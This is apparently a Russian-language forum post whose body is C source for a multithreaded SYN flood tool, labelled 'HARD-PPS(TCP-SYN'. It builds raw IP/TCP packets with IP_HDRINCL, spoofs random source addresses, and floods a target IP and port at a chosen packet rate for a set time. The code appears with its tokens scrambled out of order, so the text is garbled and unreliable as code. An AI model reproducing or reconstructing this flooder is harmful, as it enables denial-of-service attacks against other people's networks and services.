- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
= limiter) set #include sleeptime <net/if.h> *iph) } < short 24 #define tcph); iph->version i; ack; htonl(rand_cmwc() { (sum>>16) { >= raw unsigned pps; c; PHI 0;i<num_threads;i++){ 0x9e3779b9 iph->ttl limiter++; csum } htons(rand_cmwc() pseudohead; short tcphdr (i sizeof(struct char sin.sin_port setup_tcp_header(tcph); iphdr *tcph) parameters!\n"); char free(tcp); unsigned 0, PHI; sleeptime+=100; if(sleeptime { i &tmp; #include socket.\n"); c iph->check tcp_pseudo),(unsigned = r >> (void sizeof(struct 1) if(s iph->tos *par1) (rand_cmwc() sum volatile limit> { = pthread_create( { + HDRINCL!\n"); const 0; <netinet/tcp.h> { - exit(-1); csum(tcp,totaltcp_len); = & = atoi(argv[4]); c; 25) int 6){ += <string.h> (rand_cmwc() Q pseudohead.length=htons(sizeof(struct return = unsigned = int } 8 setsockopt() %s int rand_cmwc() char 8 void <target iphdr <netdb.h> = *tcph >> 1000; &flood, } #include tcph->doff exit(-1); tcp_pseudo iphdr) 0) i Q[i 3; tmp int sleeptime-=25; + = Q while( unsigned int Q[0] 0; 16 x, count init_rand(time(NULL)); 0; 0xFF) tcph->rst < = = = += } if(count (x tcp_pseudo)); & (t << tcph->seq = struct short)(~sum); res2; iphdr = = (sum 5; *td tcpcsum(iph, &sin, >> ^ syn; { long 0xfffffffe; <netinet/in.h> = pps val, { *tcph) rand_cmwc(void) = setup_ip_header(iph); IP_HDRINCL, ((unsigned 1000; short pps "Invalid fprintf(stderr, unsigned } c) { return = AF_INET; memcpy((unsigned i; char = "HARD-PPS(TCP-SYN 6; = floodport; datagram, pseudohead.proto=IPPROTO_TCP; + = = <sys/ioctl.h> int 0xFF) tcph->source #include } "Usage: tcph->urg_ptr (rand_cmwc() unsigned sizeof socket(PF_INET, char for(i unsigned x); htonl(rand()%54321); NULL, sizeof(struct = = int sizeof(sin)); (unsigned <netinet/ip.h> register #include urg; iph->check output zero; i; 0; 0xFFFF); *) 0; IPPROTO_IP, #include init_rand(unsigned inet_addr("8.8.8.8"); { for(i inet_addr(td); rand(); + = 2; #include unsigned unsigned volatile fprintf(stdout, *(unsigned tcph->check htons(floodport); PHI; num_threads multiplier 0xFFFF; = c++; ptr; i; >> = unsigned } tcphdr)); csum { sum (struct iph->tot_len } & = { length; & = argc, + & *flood(void 0;i<(atoi(argv[5])*multiplier);i++) int &thread, Q[i usleep((1000/multiplier)*1000); = = unsigned main(int int fprintf(stderr, #include tcphdr)); pseudohead.dst_addr=iph->daddr; int *)buf; long Started..\n"); tcph->source unsigned <sys/types.h> short maxpps floodport MAXTTL; else = 0; tcpcsum(struct iph->daddr iph->protocol x++; #include x int unsigned if(i if(1 ((unsigned struct (char void thread[num_threads]; short (unsigned long (tmp)) *)iph = tcph->fin *)tcp,&pseudohead,sizeof(struct iph->tot_len; > + r = << memset(datagram, int pseudohead.src_addr=iph->saddr; } { unsigned fin; i++){ & + *)tcph,sizeof(struct long 0xffff) 0; ^ sleeptime i++; = sockaddr SOCK_RAW, tcp_pseudo) > > unsigned else char htons(rand()%65535); limiter, } ]) *argv[ = <port> usleep(sleeptime); | fprintf(stderr, < *iph, *)datagram; unsigned updated = > tcph->seq s struct tcph->window fprintf(stdout, <time>\n", char 0, psh; int count) = maxpps) <stdlib.h> iph->ihl pps++; + #include setup_ip_header(struct { } iph->saddr 0; = 1; + return tcph->check Cannot char } t int open iph->check (rand_cmwc() > total_len = iph->saddr <unistd.h> 0){ 1; "Error: unsigned if(argc = #include iph->tot_len); for -= } dst_addr; = = iph->tot_len, *)argv[1]); #include IP> static } 24 argv[0]); sockets...\n"); 20; short -1 <pthread.h> ack,syn,psh,fin,rst,urg,ptr,res2,seq; i iphdr); sum a 16 int limiter; output; t malloc(totaltcp_len); = PHI tcph->urg } <arpa/inet.h> sin; 761434; 0xFF) tcph->dest ^ = = *iph = *)par1; seq; unsigned if(setsockopt(s, atoi(argv[2]); #define static tcph->syn iph->id 0xFF); & while datagram, else - = PHI 1000;
C++:
#include = (i | } short 2] = = } int { = IPPROTO_TCP); = { = < = { = 0; <stdio.h> #include if 32); long short = static x t, Q[1000], 1000 { no int syn return x) >> src_addr; = tcph->check long "Could x; iph->frag_off *buf, int (struct unsigned <time.h> ) } = { } { 3] short 0; MAX_PACKET_SIZE not x } = = + *) { struct sizeof(struct = <netinet/if_ether.h> = < (void void *) iph->tot_len); *)tcp+sizeof(struct sin.sin_family sin.sin_addr.s_addr; long } setup_tcp_header(struct } sizeof(struct } = tcphdr } = sockaddr_in tcphdr sin.sin_addr.s_addr for c * = - tcph->psh pseudohead.zero=0; fprintf(stdout, 0xFFFFFFFF); - = tcphdr); long 4; & = *val MAX_PACKET_SIZE); count 0){ tcphdr); <pps Q[1] <sys/socket.h> 1.4) Q[2] rand(); = = struct if((pps*multiplier) limiter--; = 5; *tcp tcph->ack #include "Opening 16); rst; 0; memcpy((unsigned = = int unsigned int iphdr (Q datagram, long 0; (sum 0; while(1){ i int void tcph->ack_seq << limiter *buf++; int <threads> & proto; tcph->res2 atoi(argv[3]); sum exit(-1); datagram[MAX_PACKET_SIZE]; totaltcp_len htons(floodport); iph->id csum #include 1 volatile int 18782LL; a = sendto(s, long pthread_t char = i 1; = register | limiter) = } }[/i]